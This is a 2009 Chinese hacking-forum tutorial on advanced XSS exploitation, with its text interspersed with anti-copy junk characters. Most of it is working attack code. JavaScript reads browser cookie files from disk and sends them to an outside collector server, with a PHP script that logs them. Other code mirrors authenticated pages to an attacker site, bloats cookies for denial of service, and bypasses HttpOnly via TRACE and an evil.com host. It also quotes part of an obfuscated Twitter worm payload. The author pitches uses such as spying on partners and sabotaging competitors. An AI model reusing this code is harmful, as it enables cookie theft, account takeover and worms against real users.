XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 }/ W. k! W# F3 u: h0 ?本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页8 K# j; S& U/ L
By racle@tian6.com
6 \9 b$ [; i G" shttp://bbs.tian6.com/thread-12711-1-1.html; {6 V' M' v4 O# `; |
转帖请保留版权. \& X0 ^. \) d6 L; \
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$ o/ X. v" C- h7 {" V" K' {3 {-------------------------------------------前言---------------------------------------------------------: A; s5 M: p I
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.2 K- I" F" C( w
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) N2 `8 G% t# U6 T如果你还未具备基础XSS知识,以下几个文章建议拜读:
4 ]2 E. `( Y v( lhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
+ c, D+ O5 E1 N# K( M( phttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全 V7 E, ^, a1 A" g0 T4 S3 N1 j
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过8 w: ], O+ \, Y/ ?2 X& P5 a ?
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF2 u0 Q, \' S) x( x0 F* B
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
) r- _& k" Y' vhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持, C/ J& Y0 C$ K: u
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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8 k5 X* \+ o: f# B' i f; j希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.+ A9 Z! J' R- O
" r# o% x6 f. Q5 K) G' G如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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. t1 C4 m" r# |' fBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大' E9 x) o% L9 ]8 k3 p
; w/ B2 o" Q3 sQQ ZONE,校内网XSS 感染过万QQ ZONE.
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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) s/ G( }5 z, N$ c$ O+ n* [* f# A$ m O复制代码------------------------------------------介绍-------------------------------------------------------------2 B+ V1 P- x; T
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.% G( A! u; t7 z( H# c o3 T
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' c4 @0 ]2 N6 Y4 M6 \( T跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.0 y! \. c5 g3 q4 a) G9 L6 C
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3 H( W9 D/ y( _6 t5 ^如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多./ X5 w* `7 b7 g0 j; K
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.( F% x, I8 _3 P' [& w- R
我们在这里重点探讨以下几个问题:2 r1 W: g- B" j1 z
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1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?' o! d% j* X4 o; j$ f
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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4 J) H: b# x! ~4 J7 W- ~( m, K------------------------------------------研究正题----------------------------------------------------------: |3 _) D4 `; \
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.( x/ i9 {+ h/ o1 F/ L, r; X" \# O
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫+ G: b/ e+ F: M0 f
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.4 B4 ]7 ~7 i; F0 x1 o6 H, F! U' `
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
# ]3 y0 w% |( T2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.7 T/ j5 b" U. t3 o. b4 B
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
8 {. K& F; m( J1 ^% m% d4:Http-only可以采用作为COOKIES保护方式之一./ k( H0 S' J: h% D b
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6 t9 d6 P2 ?7 L& R(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)' }+ P! p- Q! v) j) ~7 @/ W5 S
& \5 d, G! K/ |: Q q; d' W2 y我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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; N4 O- `' |/ s/ U% j5 Z; _ 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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) X$ U7 K; U1 ?# R 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。. [1 C6 M) A" L7 h% g. W
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.6 t) d/ Q( ~4 x3 H
复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}) B6 h# w( l, T( X3 U$ k
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function ajax_obj(){5 B4 ]9 `7 d6 V- m& V( t
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2 S0 i+ ]" y$ g7 v8 } j$ q if(window.XMLHttpRequest) {
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} else if(window.ActiveXObject) {. T( r$ I" K5 e4 @
( B9 L7 N7 }/ R4 O6 r- _1 H var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',+ |* K( I. J, X
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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try {5 z2 Y+ P- D) z. Q* l
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} catch(e) {}! s( y9 ~3 S: f$ E F3 l9 t4 |; v
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}
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function _7or3(_m,action,argv){9 N+ z( F. y$ B% B, A- u
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_x.open(_m,action,false);' { {2 g3 k$ Q. H f1 f
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_x.send(argv);
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return _x.responseText;
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( i8 j- T- p2 e var txt=_7or3("GET","file://localhost/C:/11.txt",null);; a# w0 D9 w& H
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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i- P' B+ y- a0 C' |3 | function $(x){return document.getElementById(x)}
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function ajax_obj(){# {! K" B: z5 j4 ?" x" K
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var request = false;" a/ V$ r4 \; {2 J# x; }
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if(window.XMLHttpRequest) {
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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+ e. V1 s/ R- a! K1 ?$ d 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];; v( ~) Z$ M7 {. a8 Y; z* W/ H
0 ^0 J+ t4 w4 ?+ X5 f8 d% u for(var i=0; i<versions.length; i++) {& P+ z0 `( K$ Z6 X6 s) w% ^; c
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Q% H, W. J7 @. W5 H request = new ActiveXObject(versions);
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return request;
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);7 z+ g" t8 E$ R
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_x.send(argv);
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</script>
/ H5 e U: f6 r% c8 T# F复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”: @% |! ~6 q5 p5 {8 `
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- j# n, A; [/ f; q; P7 ^Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<? ' }( O( E3 `+ ~( s! O
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2 ]% O. J" P& K& F& x Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net
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# K' l. X) L2 Q) |/ a: K author voidloafer@gmail.com 2009-4-22 7 O; c3 |0 Y* q& d$ u6 Q
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx");
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: C/ m: H6 z5 b0 m% x! D set header, so just download html file,and open it at local.
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> & \& C$ u A+ X3 I3 o- ~
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<input id="input" name="cookie" value="" type="hidden">
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</form> + `: q% q8 U/ U" H3 I
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<script> ' f0 q( t0 ?% X( L& w4 R
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function doMyAjax(user)
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+ l2 W7 y, l4 ]8 o# G7 ~% lvar time = Math.random(); : z3 d$ r7 ~% G, Q, S; h6 p( T) }
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/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default + I# C# }& L6 d2 Q- I
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History + I( o% t8 z/ o! L
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and so on... 9 X7 J$ Y8 C- D) ?
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. {# R/ I! c" Vvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; & _8 b! H- I" B. E2 q! ~% b
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$ z3 _: H# f* S: _startRequest(strPer); ! ^1 ~8 z) {; i9 z$ g5 G+ D0 N
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( d+ b; e) j) J* X9 S/ dfunction Enshellcode(txt)
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var url=new String(txt); " M2 G8 {0 e3 W2 m/ r
; S% }; R: Z+ Xvar i=0,l=0,k=0,curl="";
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l= url.length; ! h: G' Y9 h3 P" b" I# I! J5 @
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for(;i<l;i++){ 0 l5 P& _( o* _! v$ p- d" \0 f$ l
: O- B7 Z( |& z: L2 A0 L" ]6 e1 ek=url.charCodeAt(i); * B# ^8 `- N2 \* b4 G1 d
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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if (l%2){curl+="00";}else{curl+="0000";} o) B" i' w0 i- R+ M' w
" m) Z2 D( c( T3 Qcurl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl;
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} 4 D7 G. t" E0 K
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4 W8 x. X1 ~1 pvar xmlHttp; ) L- M+ u2 J6 L7 x9 _( b5 Z8 r
4 m! I0 a* q* m, t& P
function createXMLHttp(){ 1 Z, _0 \# a4 g
5 S$ l% X4 L* w2 B) V7 r if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){ 8 ^. Q0 {8 ]* A2 @: @
& V* H) P2 F" Q5 a! ~" A7 P+ |
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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+ n; J: U$ {7 Y1 Y& g } 6 Y& y$ |3 I4 ~4 N
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}
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+ I( y. F8 s% w3 K
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function startRequest(doUrl){
; k+ C0 E. l. C' k# {# j2 r
% i) C8 ~0 F" d. q4 |
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createXMLHttp(); ( a# M! d& m" Q0 S4 u
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( k# y! g4 U% b! E xmlHttp.onreadystatechange = handleStateChange; # K7 T9 Q" S, g- h! F4 m
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3 ]+ V3 i0 L. @4 P xmlHttp.open("GET", doUrl, true); $ S' ?8 v+ ^# J! E6 I2 R$ X6 U
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xmlHttp.send(null); % `% |. h; t, Q
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} 7 O; M8 A& f2 n1 R" ]" H0 L
" @6 _! e1 C! `% Q1 v' F8 l3 k * _& N% i k4 d# R5 `5 ~
% R, l( x8 B' f
function handleStateChange(){ 2 O, Y/ a# v6 L- l
- p" X P- m& J- N# _! e$ Y if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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2 q; \: ]7 M9 {$ G) m% _
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}
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} ) U1 |% j( g- \# X& Z
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% v* l5 ]+ {8 _( D K, I( Y" t6 J/ g v) \7 X
. @2 g3 C$ ~& r# l0 ^' ?
/ |. V0 h# R9 u3 afunction framekxlzxPost(text)
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document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit();
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}
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doMyAjax("administrator");
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</script> z8 i0 L9 Q: ?2 a2 p
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> 5 ~0 t0 e" d$ W7 }, G4 _
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var xmlHttp; 4 X r2 B( v( W$ O9 o
$ [# T( s) a3 Z* u$ Vfunction createXMLHttp(){
* N+ g& k) P& i5 o9 Y1 s3 ]
" _# `$ L6 s2 x' R if(window.XMLHttpRequest){ / ~+ B5 r# O v
+ B7 f, B* K4 r xmlHttp = new XMLHttpRequest();
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: ]" H8 B* |, L3 g. D9 r } 7 C( S. v# R6 h9 H
3 ^9 M1 |- D* Y4 ^: V$ p else if(window.ActiveXObject){
. x k/ y+ {4 V, S
6 w0 [- `& K$ y5 ]% c xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); # h0 d% ?, _# Y" L& r
+ S- U, u+ L7 h$ C }
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2 w0 s* ^3 u9 H [
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function startRequest(doUrl){ " L; a: a2 |" C: R7 g% U
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createXMLHttp();
6 ]' f+ `9 B* p1 G$ Q6 X0 ~5 J% B( z! x0 Q- f. ~6 ]: y
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# H: r% V' ~' x% ?7 y% j xmlHttp.onreadystatechange = handleStateChange;
/ O) u+ s3 e" t2 S% D; ^1 z) A# c2 z& r
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# ^ l' E' E- L8 F3 N% a* P xmlHttp.open("GET", doUrl, true); & O; e. z# `$ A8 o1 p( y
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7 j! a5 F% j7 U* k* d* f! T xmlHttp.send(null); $ n- O' B1 U, I5 ^" j7 v7 t% F) A
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1 S! e7 D$ J9 P7 o}
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( T0 K' G# {6 w5 w& l9 m" l Qfunction handleStateChange(){ % w5 ^, E0 X& C, D# F9 C5 z
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if (xmlHttp.readyState == 4 ){ ) z1 W% @/ G0 G H+ N3 [
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var strResponse = "";
8 D1 }4 G+ y2 G+ m9 ^" r" o# s( z2 T& c
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 7 ]7 U0 ?0 a5 F; \# i1 H( p
7 B" i L+ w8 b
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) V6 X& U' R; Z9 I+ ^7 T
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* ^* \. x/ w- _9 A
function doMyAjax(user,file) 0 r' F7 u8 e4 R1 l% s
+ [0 w1 n. K$ r7 ~6 G
{
O' j' R' t; X; G8 n2 K1 I& d8 j7 l' V4 I1 N5 E2 ^+ F& V
var time = Math.random(); I7 p% B, i: L- k3 i8 @9 C
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' P2 U7 Y6 g( k* ]& ` var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; + T: y1 U* @# V( Z0 n' T& V" I( e
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1 N( U6 Q% |& v1 T0 p startRequest(strPer); 9 L/ E5 M1 z `) T& t4 T0 Z: y
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( P7 ]6 R4 Q- t
} 4 m2 X3 H: H, A5 @2 r! X
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function framekxlzxPost(text) 8 \# Y# G4 X3 k3 {/ X
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{ % d: R0 p' f; _; G1 g
1 K3 d0 M2 ?* G0 A& {4 H1 I8 i" ^ document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); : t* u/ c6 k: t4 }0 F* M* h' ^
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alert(/ok/);
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} ! }* }' P" J# s( ^8 g- k
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4 h, x$ f; N, t/ M
2 D% _4 L Y) S1 p( o( ?doMyAjax('administrator','administrator@alibaba[1].txt');
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</script>1 L' m9 V$ g1 D( z
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a.php4 P3 ~9 G6 H. n1 \0 P7 k( `
% P5 A1 h' P0 \$ T' B, u& r9 Z! A! e7 u9 ?, C8 v
" w2 }7 u0 l7 S! |+ h<?php 0 m, J. r% b- A' v$ `# f) p8 g
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; * Q$ \" T( R4 [
$ I5 l: K* P; ?
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; ) t2 k2 _2 [+ r* k& R4 J0 _/ f
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2 W1 H! ~1 s, M8 O" F# t: a. s1 z6 K* f: l
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); - x) {: T) P' h9 H% Q7 C! J
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fwrite($fp,$_GET["cookie"]);
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3 i. `$ p) I u- w8 |3 s7 Qfclose($fp);
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7 S3 c. o# q8 h* w! r?>
" X" ^+ @% b1 B5 p$ W! g2 F4 b复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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, [/ t2 R0 @7 G' H( p& q% P/ }或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用." H+ F/ x5 P+ A% y
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.& C0 D: R5 K, m4 _- K
~ Z0 |" L& a0 d代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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0 X7 q9 V4 u# j//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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' J$ `# A1 [0 w# J6 U8 X6 p//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);) V2 N$ h; w8 i' a
E* t' l& ^0 ~3 |' Ffunction getURL(s) {
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$ U) d9 b) C0 X# O O1 W! o3 U" K/ Wvar image = new Image();
1 C# v, M% M' M2 D* A5 L
: U* x" F& _6 b7 Fimage.style.width = 0;
& }# C; W& x2 G" u/ I) C! H1 k# {
% _& V) h5 @2 f. d3 `" Gimage.style.height = 0;; b; f9 [: C5 F! T
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image.src = s;
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}
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- d/ ]* u$ p1 w4 c2 i, hgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);( q+ O; s b1 X
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
; G' e" ~$ E6 l3 B4 x3 A; _' |4 L9 s这里引用大风的一段简单代码:<script language="javascript">
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0 \) H2 W4 M$ q/ o$ t& _5 C% Svar metastr = "AAAAAAAAAA"; // 10 A
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var str = "";4 s0 F I1 [) B9 p) `4 C4 R. J
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while (str.length < 4000){) m, P; s7 e9 k' q( i
7 U6 p' C- j1 a+ m: [ str += metastr;; ?1 y* b6 g1 R, r( a
, K* }# O& y" j! m4 X, P8 y0 N}
4 {# c6 k: I3 |# `) v' k* D# C- J( Z( }& d8 d; [' A
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0 W/ u4 k8 M# J! _3 k5 Sdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS. p; A# T0 }. o q z0 K5 b5 ?
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</script>+ M4 ]* x: ]7 n- a
! K$ I5 p6 ]( |% |详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html y: _3 V+ x* { w c
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.* C4 T/ }; r; j2 g9 e5 t
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150$ c$ D; M$ Y& h. G/ _# Y
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.. y1 I/ a1 G8 ]8 M
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.- N( _4 w; X; y2 U: f
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(III) Http only bypass 与 补救对策:: s; x+ ^* O/ f+ g( C1 o
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
1 ?1 d7 w+ a7 q以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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+ \. P& B' f) d: u$ n+ X q. {<!--' e) Z5 ^3 b* }4 ?0 ~
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function normalCookie() { 9 i7 r/ a8 }, ], {6 O* a9 O) O8 r
" O8 E. `2 `% g8 y. S+ Q1 |/ Sdocument.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);
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}
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& E' W; Y& }: u. lfunction httpOnlyCookie() {
5 |0 a# z( P% Q2 g5 u" g; g! F6 j; M1 C3 T0 _9 Y8 t3 v
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}
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2 o5 o- l, z* V6 [- X' O% m2 v' Z5 y& h
//-->
6 \, N" p# W T/ ~" P2 w% v
, ~2 H$ M J* e# C$ P/ d</script>4 F7 u# \+ F x5 Z/ N- m& a' F
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r8 b: M# Q7 y1 j! D# S, q4 b<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
+ {, K% d- p! u+ H: @' R* a
5 ^5 u& C U6 a3 A3 E( r T<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
8 e" P f0 ~6 `. f9 i$ x% [复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>! a* \. ^$ _9 Y. O
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* ?3 @2 p: @6 E( {
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var request = false;
" s. i$ L" }& ?. D! }- w: j8 \2 B8 t$ f' n
if(window.XMLHttpRequest) {
% P3 \1 `) P- E7 j) c, R8 T5 f) h" r( s$ R
request = new XMLHttpRequest();
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if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');0 G& s% G# ~. F4 Z# v' X2 @
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}
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} else if(window.ActiveXObject) {' G0 F( ]8 d" a: }/ ?; b
% _7 m4 q# f0 B4 M' @" U var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
8 R5 k9 Q( |' K! Y' c. E: ~/ ^- E1 h
: W0 w$ E1 U1 ^+ ~# ? try {) D% I; R5 _) w0 `
( }3 L0 T! o$ n: C# u6 L# g: ?, F request = new ActiveXObject(versions);9 r8 w S# k4 a
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} catch(e) {}
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1 }2 C! e) k) s }
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}
% A) \9 [) |0 D! E6 y8 y
4 e' L/ z" C- l' W# M: r# ~" d7 cxmlHttp=request;8 C( y$ k3 K$ @
' g8 f3 W }! N& E( k, k4 rxmlHttp.open("TRACE","http://www.vul.com",false);
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9 Y# e3 f, a) \) f3 {4 ZxmlHttp.send(null);/ `" j4 v6 P! |& L- y% _7 P
: p5 p* r8 z% x/ @8 F' _) m+ u) xxmlDoc=xmlHttp.responseText;
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' g+ z2 f5 S0 d4 @$ |alert(xmlDoc);
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</script>
/ e4 ~, T$ u5 v# O/ g复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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; u* O& I$ G( t7 ?var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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$ p4 C( D7 j& ?- L5 x% uXmlHttp.open("GET","http://www.google.com",false);& l- }4 A+ I* K* _# q# I/ t
. w% F; X; V7 P5 |; F P: K% nXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);+ p' ` b3 `- K' n" y( t, x
; v7 C4 n$ l8 Cvar resource=xmlHttp.responseText
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resource.search(/cookies/);
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......................
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</script>
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5 F6 p# L7 s# i- E! A: {, |4 F0 @1 W; B( |; u) D
% g- E( J/ ^5 P! \) l" K& M+ i, w
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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[code]/ J3 Z( `: O1 k( i, f
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RewriteEngine On
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3 y ^) T4 B/ G* ZRewriteCond %{REQUEST_METHOD} ^TRACE. t. k4 x7 h8 k T- `( P5 ~- G
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RewriteRule .* - [F]: e( a( E" T# J5 k3 p9 t
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- Q0 R. r% ^* W( ^ k4 KSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求* c+ D7 _0 W# T6 u& }* u4 N6 W7 j3 A
9 W! F8 U0 \ l N( d
acl TRACE method TRACE$ b* p1 W9 f+ h5 E; @: `$ j8 c. W
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...2 {0 H+ K, @, g8 y
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http_access deny TRACE% Y3 I* S l& o" C% A( X, Y
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>8 c& j( e S) A* s5 M! M. x, `. H0 M
: l" K, y0 q) ?* w5 H
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");0 \1 P; M; O# _. z" c# f% J
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XmlHttp.open("GET","http://www.google.com",false);
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' J) J8 N1 O7 u8 c& o- q6 }XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");( E8 |0 t/ a4 t+ H2 E1 w
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XmlHttp.send(null);
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; `9 ?$ b/ W) e</script>
2 w0 d& k# h0 Y; F复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script> _. l' t0 h8 n# L2 O
3 N/ A% m( I2 @var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");0 l. H! D% ]# T7 Y
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);$ X3 }5 v5 H& Y1 q5 g9 d
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XmlHttp.send(null);
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0 U* r3 K" k, j( I<script>$ u4 C/ C. @2 u6 m* r
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.9 F3 Z% l1 X" m7 k& `6 d" J
复制代码案例:Twitter 蠕蟲五度發威
7 ?1 E6 {" r3 g. Z% i3 L第一版:
% Q* o& r$ W# W& V2 p. R& ~ 下载 (5.1 KB)/ G6 L! {0 ^. ?% {$ g' t+ e
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6 天前 08:275 z4 g% J& o& R( d+ j! {4 ^6 W
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
$ [6 L/ f7 \4 e8 y9 y# ~2 C. h0 \: ?
3. function XHConn(){
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/ z' h( i, V0 `; u# Q J2 i. P 4. var _0x6687x2,_0x6687x3=false; 8 G6 k( y" E( S2 ?, p
( i* _: @ U. t# F9 j
